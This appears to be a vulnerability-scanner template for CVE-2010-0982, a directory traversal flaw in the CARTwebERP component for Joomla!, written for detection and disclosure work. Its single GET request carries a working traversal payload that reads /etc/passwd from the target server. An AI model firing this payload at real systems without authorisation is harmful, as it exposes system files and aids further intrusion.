id: CVE-2010-0982

info:
  name: Joomla! Component com_cartweberp - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the CARTwebERP (com_cartweberp) component 1.56.75 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further exploitation.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/10942
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0982
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-0982
    cwe-id: CWE-22
    epss-score: 0.06187
    epss-percentile: 0.92585
    cpe: cpe:2.3:a:joomlamo:com_cartweberp:1.56.75:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_cartweberp
  tags: cve2010,cve,joomla,lfi,edb,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f0c87469749f781fcfebaa4d5cb0bddfd4bf10aa56975419ac05821b500fd4c102202c1b36cf1e8916029ca5e5e78223560707e3401ba9fc13446f28d18318600c14:922c64590222798bb761d5b6d8e72950